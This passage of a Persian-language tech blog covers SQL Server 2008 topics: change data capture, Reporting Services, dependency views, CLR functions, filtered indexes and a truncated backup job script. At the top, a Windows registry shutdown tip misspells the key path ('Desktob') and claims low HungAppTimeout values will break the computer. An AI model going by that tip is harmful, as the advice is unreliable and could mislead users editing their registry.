تبليغاتX
& arminlt;!------This Template Designed By Pargoo,www.parsiyar.blogfa.com-------> The First Site Of Hacking For AFGHAN's



دیدید وقتی ميخواهيد كامپيوترتان را خاموش كنيد چند دقيقه طول ميكشه.
براي كم كردن اين مدت زمان ابتدا بايد:

ابتدا وارد ريجيستری شويد و سپس به دنبال کليد زير بگرديد :

HKEY_CURRENT_USER\ control panel\ Desktob

سمت راست صفحه يك سري فايل مياد روي HungAppTimeout اينتر كنيد.دوباره يك صفحه مياد كه عددي رو نوشته شما به جاي اون عدد هر عدد كمتري كه ميخواهيد بذاريد .

توجه : فقط عددش كمتر از 100 نباشه چون دستگاهتون خراب ميشه

+ 100000101010101010101001010101010101010101001001010 پنجشنبه هفدهم اردیبهشت 1388???? 22:29 100000101010101010101001010101010101010101001001010 احمدزی |



ساعت ٥:٥٩ ‎ب.ظ روز ۱۳۸۸/٢/٧  

مکانیزم جدیدی در SQL Server 2008 وجود دارد که به شما این اجازه را میدهد تا تغییرات داده ای در یک جدول را پیگیری کنید. تغییرات از لاگ مربوط به تراکنشها توسط پروسس capture خوانده شده و در جداول تغییر ذخیره میشود. جداول تغییر ستونهای جدول منبع و همچنین اطلاعات حاوی metadata را که میتواند برای دریافتن تغییراتی که رخ داده استفاده شود را mirror میکند. آن تغییرات میتوانند در یک فرمت ارتباطی مناسب در TVF ها مصرف شوند.
پروسس transform  و load (ETL) در سرویسهای Integration در SQL Server که به روزرسانیهای نهایی را به انبار داده ها اعمال میکند تنها یک مثال از برنامه هایی است که از این خاصیت سود برده است.
در اینجا یک فرآیند ساده برای گرفتن تغییرات جدول Employee در پایگاه داده ای که testdb صدا زده میشود نشان خواهم داد.
قبل از اینکه بتوانید جداول را برای این خصوصیت فعال کنید، باید ابتدا این خاصیت را برای پ‍ایگاه داده توسط stored procedure با نام sys.sp_cdc_enable_db فعال کنید. این sp چندین آبجکت سیستمی مربوط به این کار را که شامل cdc schema و cdc user ، جداول، job ها، sp ها و توابع میشود را میسازد. برای اینکه چک کنید آیا این خصوصیت در پایگاه داده شما فعال است یا نه، query با نام is_cdc_enabled را روی sys.databases اجرا نمایید. کد زیر پایگاه داده testdb را ساخته و این خصوصیت را روی آن فعال میکند:


USE master;
IF DB_ID('testdb') IS NOT NULL DROP DATABASE testdb;
CREATE DATABASE testdb;
GO
USE testdb;
EXECUTE sys.sp_cdc_enable_db;


برای از کار انداختن رهگیری داده ای روی پایگاه داده، از sp با عنوان sys.sp_cdc_disable_db استفاده نمایید.
پردازش رهگیری به محض اینکه اولین جدول در پایگاه داده برای رهگیری توانا میشود، تغییرات را از log خوانده و آنها را در جداول تغییر ثبت میکند. برای راه انداختن رهگیری داده ای برای یک جدول از sp با نام sys.sp_cdc_enable_table استفاده کنید. توجه داشته باشید که برای جمع آوری تغییرات باید SQL Server Agent در حال اجرا باشد. کد زیر یک جدول با نامEmployees در testdb ساخته و یک سطر در آن وارد میشود :


CREATE TABLE dbo.Employees
(
  empid  INT         NOT NULL,
  name   VARCHAR(30) NOT NULL,
  salary MONEY       NOT NULL
);
INSERT INTO dbo.Employees(empid, name, salary) VALUES(1, 'Emp1', 1000.00);

کد زیر به جدول این توانایی را میدهد که تغییرات داده ای را رهگیری کند :


EXECUTE sys.sp_cdc_enable_table
    @source_schema = N'dbo'
  , @source_name = N'Employees'
  , @role_name = N'cdc_Admin';


چون این اولین جدولیست که در پایگاه داده برای این کار آماده شده است، این کد سبب میشود که پردازش مربوط به این کار شروع شود (دو job اجرا میشود : cdc.testdb_capture و cdc.testdb_cleanup).  آرگومان @role_name شما را قادر میکند تا یک database role تعیین کنید که دارای دسترسی برای تغییر داده خواهد بود. اگر role معین شده وجود نداشته باشد، SQL Server خود آن را خواهد ساخت. به صورت پیش فرض، تغییرات برای تمام ستونهای جدول جمع آوری میشود. برای جمع آوری تغببرات فقط برایزیرمجموعه ای از ستونها میتوانید لیست ستونها را در آرگومان @captured_column_list مشخص نمایید. برای گرفتن اطلاعات metadata درباره ستونهایی که نمونه جمع آوری به حساب آمده اند، میتوانید از procedure با نام sys.sp_cdc_get_captured_columns استفاده نمایید.
اگر بعدا خواستید که رهگیری تغییرات داده را غیرفعال نمایید از sys.sp_cdc_disable_table استفاده نمایید. و اگر میخواهید ببینید که آیا یک جدول برای این کار فعال شده است، روی view با نام sys.tables ستون is_tracked_by_cdc را جستجو کنید.
برای بدست آوردن اطلاعات درباره پیکربندی رهگیری تغییر داده برای هر جدول فعال شده، sp با نام sys.sp_cdc_help_change_data_capture را مانند زیر استفاده نمایید :


EXECUTE sys.sp_cdc_help_change_data_capture;


استفاده ازاین تغییرات به صورت مستقیم از جداول تغییرمیسر نیست بلکه باید از توابع table-valued استفاده نمایید. داده برای تغییراتی که درون یک محدوده مشخص شده از شماره سریالهای log (LSNs) قرار گرفته باشند درخواست شده است. SQL SERVER 2008 همچنین توابع نگاشت sys.fn_cdc_map_time_to_lsn و sys.fn_cdc_map_sln_to_time را مهیا کرده که به شما کمک میکند تا یک محدوده date-time را به محدوده ای از LSNs و بالعکس تبدیل کنید.
توابع مجزا تمامی تغییرات داخل یک ورودی (cdc.fn_cdc_get_all_changes_) و تغییرات شبکه که در مقابل سطرهای مجزا جای گرفته اند (cdc.fn_cdc_get_net_changes_) را مهیا میکنند، البته اگر که توسط sys.sp_cdc_enable_table فعال شده باشند.
SQL Server 2008 همچنین یک sp با نام sys.sp_cdc_get_ddl_history دارد که به شما تاریخچه تغییرات DDL پیوسته با یک نمونه خاص رهگیری را میدهد

 

 

SQL Server Reporting Service چیست؟
ساعت ۱۱:٠۸ ‎ق.ظ روز ۱۳۸۸/۱/۱٥  

در سال ۲۰۰۳ یک add-on به  SQL Server نسخه 2000 به عنوان یک سرویس گزارشگیری افزوده شد. این سرویس تا نسخه 2005 خیلی کاربردی نبود. از سال 2005 مایکروسافت سرمایه گذاری خوبی را در این زمینه که قبل از آن شرکتهایی در آن فعالیت میکردند آغاز کرد. اینگونه بود که از این مقطع زمانی به بعد مایکروسافت اقدامات خوبی را در این زمینه شروع کرد و آن را از حالت یک add-on خارج کرد.

نصب
زمانی که میخواهید نسخه های 2005 و 2008 از SQL Server را نصب کنید در یکی از مراحل باید Reporting Service را برای نصب انتخاب کنید. در ادامه باید تیک مربوط به Configure کردن خودکار Reporting Server را بزنید. اگر این گزینه را انتخاب نکنبد باید عملیات پیکربندی را به صورت دستی انجام دهید.

معماری SSRS
سه کامپوننت اصلی وجود دارد که با یکدیگر کار کرده و SSRS را به یک برنامه چندلایه واقعی تبدیل میکند. این سه عبارتند از :

 

  1. Client
  2. Report Server
  3. SQL Server Report Databases

شکل زیر یک تفکیک مفهومی از این سه بخش و اجزا آن است.

در اینجا data source و SSRS databases ، ReportServer و ReportServerTempDB موجودیتهای مجزایی هستند. Data Source منبع و منشا اصلی داده ها برای پر کردن گزارشات است و Report Server Databases وظیفه ذخیره سازی اطلاعات مربوط به گزارشات را بر عهده دارند. هر دوی این دو میتوانند به صورت فیزیکی در یک SQL Server مشترک قرار گیرند، فزض کنید که data source یک پایگاه داده SQL Server است. Data source میتواند data provider های  مختلف مثل SQL Server، Oracle، LDAP و یا Analysis Service را پشتیبانی نماید. این امر ممکن است که شما یک سرور واحد را هم برای SSRS Report Server Web Service و هم برای Report Server Database پیکربندی کنید. اگر چه این کار توصیه نمیشود مگر اینکه تعداد کاربر شما کم باشد.


نصب SSRS دو پایگاه داده برای شما میسازد :
ReportServer : این پایگاه داده اصلی است که تمامی اطلاعات را از فایل RDL منتشر شده (published) در حود ذخیره میکند. همچنین مواردی چون خصوصیات گزارش (مانند data sourceها)، پارامترها  و فایلهای لاگ را در خود نگهداری میکند.


ReportServerTempDB : این پایگاه داده کپیهای cach شده گزارشات را برای بالا بردن کارایی به جهت استفاده همزمان کاربران در خود دارد. با این مکانیزم این اطمینان را داشته باشیم که حتی در صورت restart شدن سرور باز هم گزارشات در دسترس هستند.

 

SSRS Report Server
SSRS Report Server مهمترین نقش را در مدل SSRS ایفا میکند. در میانه کار کرده و برای هر درخواست از سمت client برای render کردن یک گزارش یا برای انجام یک درخواست مدیریتی مانند ساخت یک subscription مسیول است. شما متوانید یک report server را با توجه به عملیاتهای مختلف به چندین زیربخش تفکیک کنید :

  •  Programming interface
  •  Report processing
  •  Data processing
  •  Report rendering
  •  Report scheduling and delivery


SSRS Web Service Interface
رابط برنامه نویسی که به عنوان API های .NET Web Service و متدهای دسترسی URL ظاهر میشوند، تمامی درخواستهای ورودی از client ها را خواه درخواست گزارش باشد، خواه درخواست مدیریتی، اداره میکند.با توجه به نوع درخواست، رابط برنامه نویسی با دسترسی به پایگاه داده Report Server یا ارسال آن به کامپوننت دیگر برای پردازش اقدام میکند.

Report Processor
این کامپوننت مسیول تمامی درخواستهای گزارش است. مانند رابط برنامه نویسی، مستقیما به پایگاه داده ReportServer متصل میشود تا اطلاعات مربوط به تعریف گزارش را دریافت کند که این اطلاعات بعدا برای ترکیب با اطلاعات data source و ساخت گزارش به کار میرود.

Data Processing
SSRS چهار نوع الحاقیه برای اتصال به پایگاه داده حمایت میکند :

 

  1. SQL Server
  2. Oracle
  3. OLE DB
  4. ODBC


وقتی که این کامپوننت یک درخواست را Report Processor دریافت میکند، یک اتصال به data source میزند و آن را به query منبع ارسال میکند. داده بازگردانده شده و به Report Processor فرستاده میشود تا با تعریف گزارش ترکیب شود.

Report Rendering
این کامپوننت وظیفه render گزارش در فرمت مورد نظ را دارد. فرمتهای مورد حمایت عبارتند از :

  •     HTML
  •     PDF
  •     HTML با استفاده از کامپوننتهای وبی Office
  •     Excel
  •     CSV
  •     MHTML
  •     TIFF


برنامه های Client
SSRS شامل چندی برنامه است که از آن استفاده میکنند. این برنامه ها و ابزارها، مدیریت Report Server ، پیاده سازی امنیت و وظایف render کردن گزارش را برای مهیا میکنند. این ابزارها مانند زیرند :


•    Report Manager
 این یک برنامه browser base همراه با SSRS است که محیطی گرافیکی را برای کاربران مهیا میکند که توسط آن میتوانند گزارشات را ببینند یا چاپ کنند، یا اینکه گزارشات را برای بخشهای مختلف مدیریت کنند.

 

•    SQL Server Business Intelligence Development Studio (BIDS)
اگر شما روی سیستم خود Visual Studio نداشته باشید و SSRS را نصب کنید، خود SQL Server برای شما Visual Studio IDE را برای شما نصب میکند تا شما بتوانید به راحتی به طراحی و تست گزارشات خود بپردازید. این IDE را با نام  SQL Server Business Intelligence Development Studio نصب کرده و با انتخاب آن میتوانید به راحتی به آن دست یابید. البته باید بگویم برای ساخت گزارشات وجود این IDE الزامی نیست.

 

•    ابزارهای Command-line
شما میتوانید از چندین ابزار Command-line مانند rs ، rsconfig و RSKeyMgmt برای پیکربندی و مدیریت محیط SSRS استفاده نمایید.


•    Custom Clients

•    Reporting Services Configuration Manager
ابزاری برای پیکربندی به صورت گرافیکیست که از نسخه ۲۰۰۵ به بعد به وجود آمد.

 

انواع گزارشات و ساختار آنها

به طور کلی دو نوع گزارش در RS موجود است:

 

  1.     Client Report
  2.     Server Report


در Visual Studio 2005  به بعد کنترل جدیدی به آن افزوده شد با نام MicrosoftReportViewer که مخصوص نمایش گزارشات بود. گزارشات فایلهایی با پسوند rdl برای گزارش remote و rdlc برای گزارش  clientهستند که میتوانید آن را به پروژه خود بیفزایید. پس از افزودن آن چندین ابزار به شما برای ساخت گزارش داده خواهد شد. شما میتوانید با این ابزارها گزارش مورد نظر خود را بسازید.
RDL یک مدل بر مبنای XML است که هر عنصر گزارش  مانند قالب بندی، اطلاعات dataset، grouping و sorting، پارامترها و فیلترها را تعریف میکند. همانطور که شما آیتمی را اضافه میکنید، این ساختار دچار تغییرات میشود.
در IDE این ساختار از شما مخفیست ولی در صورت نیاز به تغییر کلی در گزارشات ، میتوانید از find and replace در این ساختار به صورت مستقیم استفاده نمایید. در VS 2005  و بعد از آن با زدن دکمه F7 در زمان کار با گزارش میتوانید این ساختار را ببینید. به تکه ای از این ساختار در یک گزارش توجه کنید :

 

 

در نسخه ۲۰۰۵ نه ابزار برای ساخت گزارش وجود داشت که در نسخه ۲۰۰۸ کمی تغییر کردند. لیست این ابزار در تصویر زیر آمده است:

 

هر گزارش شامل سه بخش ۱- Header  ۲- Body  ۳- Footer است که در هرکدام از برخی از این ابزار میتوان استفاده کرد. شما میتوانید از امکانات زیر در گزارشات استفاده نمایید که من فقط آنها را نام میبرم :


•    نوشتن expression برای اکثر اجزای گزارش مثلا امکان visibility و ...
•    استفاده از توابع از قبل آماده در نوشتن expression
•    نوشتن expression با زبان VB (مثلا مد تغییر تاریخ)
•    استفاده از پارامترها برای نوشتن query پویا
•    استفاده از فایلهای اسمبلی (dll) : مثلا نوشتن تابعی با زبان c# و استفاده ازآن در گزارش
•    کنترل قوی روی اجزا گزارش
•    امکان قرار دادن sorting و filter بر اساس عناصر محتلف گزارش
•    امکان استفاده از گروه بندی های داده ای تودرتو
•    امکان استفاده از stored procedure و text query به عنوان dataset
•    امکان ساخت گزارشات تعاملی مثلا استفاده از زیرگزارشات
•    استفاده از چندین dataset به عنوان تامین کننده داده
•    امکان دادن به کاربر برای ساختن گزارشات دلخواه با استفاده از report model

 

 

تفاوتهای موجود بین دو نوع گزارش


ساختار گزارشات rdl و rdlc کاملا شبیه هم است ولی در نحوه اجرا و تامین داده با هم کم متفاوت هستند. تفاوتهای موجود را به ترتیب در زیر بیان میکنم :


۱- گزارشات server باید در یک پروژه از نوع report server project و در محیط BIDS افزوده شوند در صورتیکه گزارشات client در یک پروژه معمولی .NET اضافه میشوند.


۲- گزارشات server از یک query مستقیم که به صورت stored procedure یا text  است به عنوان تامین کننده داده استفاده میکنند در حالی که گزارشات client باید در کد مقداردهی شوند. مثلا داده مربوط به آنها میتواند توسط یک dataset یا یک xml data source تامین شود. در ضمن برای انجام این کار احتیاج به نوشتن مقداری کد مثلا در c# است.


۳-برای نمایش داده شدن گزارشات server کنترل MicrosoftReportViewer صرفا وظیفه نمایش گزارش در انتهای عملیات را دارد و تمام عملیات برای تهیه گزارش و render آن در report server انجام میشود. این در حالیست که برای نمایش گزارش client کنترل MicrosoftReportViewer نقش اساسی را انجام میدهد و عملیات render شدن گزارش در این کنترل انجام میشود.


۴-گزارشات client به نصب SSRS نیازی ندارند در حالیکه گزارشات server  بدون این کار قابل دسترسی نیستند.


۵- کنترل MicrosoftReportViewer در گزارشات client و در نسخه ۲۰۰۵ دارای دکمه چاپ نبودند ولی گزارشات server این مشکل را نداشتند. البته لازم به ذکر است این مشکل در نسخه ۲۰۰۸ حل شده است.


۶-گزارشات client نیازی به publish روی report server ندارند در حالیکه گزارشات server برای اجرا شدن حتما باید publish شوند.

نکته : من این نوشته را بر اساس نسخه ۲۰۰۵ نوشتم و باید بیان کنم که نسخه ۲۰۰۸ بهبودهای خوبی داشته است. البته اصول تغییری نکرده است. در نوشته های آینده سعی میکنم مثالهایی را بر اساس نسخه ۲۰۰۸ بنویسم.

ستگی های اشیا در SQL Server 2008
ساعت ٢:٠٠ ‎ب.ظ روز ۱۳۸٧/۱٢/٢٧  

SQL Server 2008 چندین آبجکت ارائه داده که اکتشاف وابستگیهای آبجکتها را به صورت قابل اطمینانی فراهم میکند، و جایگزین view قدیمی وغیرقابل اطمینان sys.sql_dependencies وهمچنین stored procedure قدیمی sp_depends شده است. آبجکتهای جدید اطلاعاتی درباره وابستگیها فراهم کرده که در یک کد ثابت ظاهر میشود، آنها شامل هر دوی آبجکتهای schema-bound  و non-schema-bound و نیز cross-database و حتی وابستگیهای cross-server میشوند. آبجکتهای جدید وابستگیهایی را که در کد SQL یا کد CLR به وجود بیایند را پوشش نمیدهند.
برای اینکه ببینید چگونه اطلاعات مربوط به وابستگیها را جستجو کنید، ابتدا کد زیر را اجرا کنید تا چند آبجکت در پایگاه داده tempdb برای تست ساخته شود :


USE tempdb;
IF OBJECT_ID('dbo.Proc1', 'P') IS NOT NULL DROP PROC dbo.Proc1;
IF OBJECT_ID('dbo.V1', 'V') IS NOT NULL DROP VIEW dbo.V1;
IF OBJECT_ID('dbo.V2', 'V') IS NOT NULL DROP VIEW dbo.V2;
IF OBJECT_ID('dbo.T1', 'U') IS NOT NULL DROP TABLE dbo.T1;
IF OBJECT_ID('dbo.T2', 'U') IS NOT NULL DROP TABLE dbo.T2;
GO
 
CREATE PROC dbo.Proc1
AS
SELECT * FROM dbo.T1;
EXEC('SELECT * FROM dbo.T2');
GO
CREATE TABLE dbo.T1(col1 INT);
CREATE TABLE dbo.T2(col2 INT);
GO
CREATE VIEW dbo.V1
AS
SELECT col1 FROM dbo.T1;
GO
CREATE VIEW dbo.V2
AS
SELECT col1 FROM dbo.T1;
GO


SQL Server 2008 سه آبجکت جدید را معرفی کرده که اطلاعاتی درباره وابستگی آبجکت به ما میدهد : catalog view با نام sys.sql_expression_dependencies ، و توابع مدیریت پویا (DMF) با نامهای sys.dm_sql_referenced_entities و sys.dm_sql_referencing_entities .
View اول وابستگیهای آبجکت را توسط نام فراهم میکند. این جایگزین view قدیمیتر با نام sys.sql_dependencies شده است. Query زیر در مقابل sys.sql_expression_dependencies تمام وابستگیها در پایگاه داده کنونی را نشان میدهد:


SELECT
  OBJECT_SCHEMA_NAME(referencing_id) AS srcschema,
  OBJECT_NAME(referencing_id) AS srcname,
  referencing_minor_id AS srcminorid,
  referenced_schema_name AS tgtschema,
  referenced_entity_name AS tgtname,
  referenced_minor_id AS tgtminorid
FROM sys.sql_expression_dependencies;


Query بالا خروجی زیر را تولید میکند :


srcschema srcname srcminorid tgtschema tgtname tgtminorid
--------- ------- ---------- --------- ------- ----------
dbo       Proc1   0          dbo       T1      0
dbo       V1      0          dbo       T1      0
dbo       V2      0          dbo       T1      0

توجه کنید که query تمام وابستگیها در کد ثابت  را شناسایی میکند نه وابستگیها در کد پویا را (ارتباط از dbo.T2 به dbo.Proc1).
DMF با نام sys.dm_sql_referenced_entities تمام entity هایی که entity ورودی به آن مراجعه میکند را مهیا میکند – به عبارت دیگر، تمام entity هایی که entity ورودی به آن وابسته است. به عنوان مثال، کد زیر تمام entity هایی که dbo.Proc1 به آن وابسته است را برمیگرداند :


SELECT
  referenced_schema_name AS objschema,
  referenced_entity_name AS objname,
  referenced_minor_name  AS minorname,
  referenced_class_desc  AS class
FROM sys.dm_sql_referenced_entities('dbo.Proc1', 'OBJECT');


این کد خروجی زیر را برمیگرداند :


objschema objname   minorname class
--------- --------- --------- ----------------
dbo       T1        NULL      OBJECT_OR_COLUMN
dbo       T1        col1      OBJECT_OR_COLUMN


خروجی نشان میدهد که dbo.Proc1 به جدول dbo.T1 و ستون dbo.T1.col1 وابسته است. مجددا بیان میکنم که وابستگیهایی که در کد پویا نشان داده میشود، شناسایی نمیشود.
DMF با نام sys.dm_sql_referencing_entities تمام entity هایی که به entity ورودی ارجاع داده اند را فراهم میکند – به عبارت دیگر، تمام entity هایی که به entity ورودی وابسته هستند. برای مثال،کد زیر تمام entity هایی را که dbo.T1 وابسته هستند را بر میگرداند:


SELECT
  referencing_schema_name AS objschema,
  referencing_entity_name AS objname,
  referencing_class_desc  AS class
FROM sys.dm_sql_referencing_entities('dbo.T1', 'OBJECT');

این کد خروجی زیر را بازمیگرداند :


objschema objname   class
--------- --------- ----------------
dbo       Proc1     OBJECT_OR_COLUMN
dbo       V1        OBJECT_OR_COLUMN
dbo       V2        OBJECT_OR_COLUMN


خروجی نشان میدهد که dbo.Proc1 و dbo.V1 و dbo.V2 به dbo.T1 وابسته اند.

بهبودهای SQL و CLR
ساعت ٥:٤٤ ‎ب.ظ روز ۱۳۸٧/۱٢/۱٢  

بهبود در توابع Table-Valued


در حال حاضر CLR TVF ها یک عبارت ORDER جدید را به عنوان بخشی از عبارت CREATE FUNCTION DDL پشتیبانی میکنند. شما میتوانید از این عبارت برای مشخص کردن نام ستونها در جدول خروجی زمانیکه میدانید که سطرها همیشه با آن ترتیب برگردانده خواهند شد، استفاده نمایید.  این میتواند بهینه ساز را زمانیکه روی تابع جدول query میزنید و به ستونهای آن برای مرتب سازی (Ordering)  استناد میکنید کمک نماید.( مانند زمانیکه برای ORDER BY و GROUP BY  و DISTINCT استفاده میشود.)
به عنوان مثال، کد C# زیر یک تابع با نام fn_split  که لیستی مجزا از مقادیر و یک Seprator را میپذیرد و سپس رشته ورودی را به عناصر مجزا میشکند. تابع یک جدول با دو ستون (pos و element) با یک ردیف برای هر عنصر به عنوان نتیجه باز میگرداند. Pos موقعیت عنصر در لیست را نشان میدهد و ستون element خود عنصر را نمایش میدهد :


using System;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Collections;
using System.Collections.Generic;
 
public partial class TVF
{
    // Struct used in string split functions
    struct row_item
    {
        public string item;
        public int pos;
    }
 
    // Split array of strings and return a table
    // FillRowMethodName = "ArrSplitFillRow"
    [SqlFunction(FillRowMethodName = "ArrSplitFillRow",
     DataAccess = DataAccessKind.None,
     TableDefinition = "pos INT, element NVARCHAR(MAX)")]
    public static IEnumerable fn_split(SqlString inpStr,
        SqlString charSeparator)
    {
        string locStr;
        string[] splitStr;
        char[] locSeparator = new char[1];
        locSeparator[0] = (char)charSeparator.Value[0];
        if (inpStr.IsNull)
            locStr = "";
        else
            locStr = inpStr.Value;
        splitStr = locStr.Split(locSeparator,
              StringSplitOptions.RemoveEmptyEntries);
        //locStr.Split(charSeparator.ToString()[0]);
        List SplitString = new List();
        int i = 1;
        foreach (string s in splitStr)
        {
            row_item r = new row_item();
            r.item = s;
            r.pos = i;
            SplitString.Add(r);
            ++i;
        }
        return SplitString;
    }
 
    public static void ArrSplitFillRow(
      Object obj, out int pos, out string item)
    {
        pos = ((row_item)obj).pos;
        item = ((row_item)obj).item;
    }
}

تابع اغلب سطرها را مرتب شده بر اساس pos برمیگرداند. اگرچه شما نمیتوانید به این ترتیب تا زمانیکه در query خارجی و در ORDER BY ترتیب را مشخص نکرده باشید، اعتماد کنید.
فرض کنید که مسیر فایل dll برابر باشد با : C:\TVF\TVF\bin\Debug\TVF.dll . کد زیر اسمبلی مربوطه را در tempdb  برای تست میسازد:


USE tempdb;
CREATE ASSEMBLY TVF FROM 'C:\TVF\TVF\bin\Debug\TVF.dll';


کد زیر دو تابع بر اساس تابع fn_split CLR  ثبت میکند : تابع  fn_split_no_order عبارت ORDER ندارد و fn_split_order_by_pos عبارت ORDER را برای مرتب سازی بر اساس pos مشخص کرده است :


CREATE FUNCTION dbo.fn_split_no_order
  (@string AS NVARCHAR(MAX), @separator AS NCHAR(1))
RETURNS TABLE(pos INT, element NVARCHAR(4000))
EXTERNAL NAME TVF.TVF.fn_split;
GO
CREATE FUNCTION dbo.fn_split_order_by_pos
  (@string AS NVARCHAR(MAX), @separator AS NCHAR(1))
RETURNS TABLE(pos INT, element NVARCHAR(4000))
ORDER (pos)
EXTERNAL NAME TVF.TVF.fn_split;
GO


حال به query های زیر توجه نمایید:


SELECT *
FROM dbo.fn_split_no_order(
  N'a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z',
  N',') AS T
ORDER BY pos;

SELECT *
FROM dbo.fn_split_order_by_pos(
  N'a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z',
  N',') AS T
ORDER BY pos;


اولی تابع جدولی را که بدون عبارت ORDER ثبت شده را جستجو میکند و دومی این کار را روی تابع جدولی که با ORDER ثبت شده (pos) را جستجو میکند.هر دو داده ها را مرتب شده بر اساس pos درخواست میکنند.اگر شما هر دو را برای آزمایش اجرا کنید خواهید دید که اولی شامل اطلاعات sort شده است اما دومی اینطور نیست. همچنین هزینه برای ارزیابی کردن اولی حدود 10 برابر بیشتر از دومی است.

 

ساعت ۳:٤۱ ‎ب.ظ روز ۱۳۸٧/۱٢/٥  

پشتیبانی CLR (Common Language Runtime) در SQL SERVER 2008 در روشهای مختلف بهبود یافته است. بهبودهای UDT ها که در قبل توضیح داده شد. این بخش بهبودهای UDA ها (user defined aggregates) و TVF ها (table valued function) را بیان میکند.

بهبود در UDA

پشتیبانی از UDT های بزرگ در مطالب قبلی بیان شد. به همین نحو SQL Server 2008 از UDA های بزرگ نیز پشتیبانی میکند. اندازه ماکزیمم در این نسخه از 8000 بایت تجاوز کرده و میتواند تا 2 گیگابایت افزایش یابد. برای اجازه دادن به یک UDA برای تجاوز از 8000 بایت، ویژگی MaxByteSize را برابر 1- قرار دهید. در غیر این صورت شما باید یک مقدار کهکمتر یا مساوی 8000 است را معین کنید، که در این مورد دیگر سایز UDA شما نباید از مقدار مشخص شده تجاوز کند.

UDA ها در راه دیگری نیز به همین خوبی بهبود یافته اند.آنها هم اکنون از چندین ورودی پشتیبانی میکنند.یک مثال از UDA ای که میتواند از هر دو بهبود بهره ببرد موارد مربوط به الحاق رشته هاست. UDA میتواند دو پارامتر ورودی قبول کند: ستون رشته را برای الحاق و کاراکتری را که به عنوان separator استفاده میشود نگهداری میکند. UDA میتواند خروجی را با حجم یش از 8000 را برگرداند.

 

چگونگی به روز رسانی جداول در نسخه جدید
ساعت ۱٢:٤٢ ‎ب.ظ روز ۱۳۸٧/۱۱/٢٦  
از کار انداختن خصیصه مربوطهخطای حاصل از تغییر ساختار جدول در SQL Server 2008

یکی از خصوصیات جدیدی که به SQL Server 2008 افزوده شده است این است که به صورت پیش فرض اجازه تغییر در ساختار جداول از طریق Desgin View داده نمیشود. این خصیصه به خاطر این اضافه شده که از تغییرات تصادفی روی DB Server ها جلوگیری کند. خصیصه جدید ممکن است مقداری برای توسعه دهندگان دردسر آفرین باشد زیرا اگر بخواهند تغییر خود را اعمال کنند با خطای زیر مواجه میشوند :

 

 

برای رفع این مشکل توسعه دهندگان باید این خصوصیت را از مسیر ارائه شده در زیر غیر فعال کنند :

Tools > Options > Designers > Table and Database Designers > Prevent saving changes that require table re-creation

 

حال شما میتوانید جدول مورد نظر خود را ویرایش کنید.

 

ساعت ۳:۳٥ ‎ب.ظ روز ۱۳۸٧/۱۱/۸  

SQL Server 2008 اندیسهای فیلتر شده و آمار را معرفی کرد. شما اکنون میتوانید یک اندیس گروهبندی نشده بر اساس یک گزاره بسازید، و فقط زیرمجموعه ای از سطرها برای اینکه گزاره در اندیس B-Tree ذخیره شده صحیح بماند، موجودند. به همین نحو، شما میتواند به صورت دستی بر اساس یک گزاره آمار بسازید. بهینه ساز برای زمانی که چنین اندیسهای فیلتر شده و آماری به صورت منطقی استفاده میشوند مفید هستند.
اندیسهای فیلترشده با طراحی خوب میتوانند کارایی و کیفیت طرح را بالا ببرند زیرا آنها از اندیسهای فیلتر نشده کوچکترند. همچنین، آمار فیلتر شده – خواه به صورت خودکار برای یک اندیس فیلتر شده ساخته شده باشد خواه به صورت دستی – از آمار فیلترنشده دقیقترند زیرا آنها نیاز دارندتنها زیرمچموعه ای از سطرهای جدول را کاور کنند.
شما همچنین میتوانید هزینه نگهداری اندیس را به دلیل موجود بودن اطلاعات کمتر جهت نگهداری در اندیسهای فیلتر شده کاهش دهید. این شامل تغییرات در اندیس، بازسازیهای اندیس، و هزینه به روزرسانی آمار میشود. اندیسهای فیلتر شده همچنین به صورت واضح هزینه های storage را کم میکند.
اجازه بدهید نگاهی به چند مثال درباره اندیسهای فیلتر شده بیندازیم. کد زیر یک اندیس روی CurrancyRateID در جدول Sales.SalesOrderHeader میسازد که فیلتر آن نمیگذارد NULL ها وارد شوند :


USE AdventureWorks;
GO
CREATE NONCLUSTERED INDEX idx_currate_notnull
  ON Sales.SalesOrderHeader(CurrencyRateID)
  WHERE CurrencyRateID IS NOT NULL;


نظر به فیلترهای query ، کنار گزاره  IS NULL  که به صریحا به دنبال مقادیر NULL میگردد، تمام گزاره های دیگر NULL ها را رد میکنند، بنابراین بهینه ساز میفهمد که پتانسیل اینکه از اندیس استفاده شود وجود دارد. برای مثال، طرح query زیر نشان میدهد که اندیس استفاده شده است :


SELECT *
FROM Sales.SalesOrderHeader
WHERE CurrencyRateID = 4;

ستون CurrencyRateID درصد زیادی از NULL ها را در خود دارد، بنابراین این اندیس اساسا حافظه کمتری برای ذخیره کردن نسبت به یک اندیس فیلتر نشده در یک ستون مشابه مصرف میکند. شما همچنین میتوانید از این چنین اندیسهایی در ستونهای sparse استفاده کنید.
کد زیر یک اندیس فیلتر نشده روی ستون Freight میسازد، سطرهایی که مقدار Freght در آنها بزرگتر یا مساوی 5000.00 باشد فیلتر میشوند :


CREATE NONCLUSTERED INDEX idx_freight_5000_or_more
  ON Sales.SalesOrderHeader(Freight)
  WHERE Freight >= 5000.00;


بهینه ساز ملاحظه میکند استفاده یک اندیس وقتی فاصله فرعی یک اندیس ورودی فیلتر شده مورد نیاز است آن را فیلتر میکند :


SELECT *
FROM Sales.SalesOrderHeader
WHERE Freight BETWEEN 5500.00 AND 6000.00;


اندیسهای فیلتر شده همچنین میتوانند به عنوان unique تعریف شوند و یک عبارت INCLUDE داشته باشند.

 

ند Script خوب در رابطه با تعریف Job
ساعت ٥:٤۸ ‎ب.ظ روز ۱۳۸٧/۱٠/٢٤  

برای انجام کارها در SQL SERVER به صورت خودکار باید JOB تعریف کرد. این کار میتواند به صورت دستی از داخل برنامه انجام شود یا اینکه برای آن Script نوشت و آن را اجرا کرد. یکی سوالات متداول این است که چگونه میتوانیم به صورت خودکار از SQL SERVER پشتیبانگیری کنیم، این کار با JOB ها قابل انجام است. در زیر چند Job کاربردی برای نمونه آورده شده است:

Back up به صورت کامل : کد مثال برای تمام Job ها یک دایرکتوری به ازای هر پایگاه داده خواهد ساخت و از آن پشتیبانگیری میکند :

DECLARE @basePath varchar(300);
SET @basePath = N'M:\Program Files\Microsoft SQL Server\MSSQL10.MSSQLSERVER\MSSQL\Backup\';

DECLARE @db sysname;
DECLARE user_db_cursor CURSOR FOR
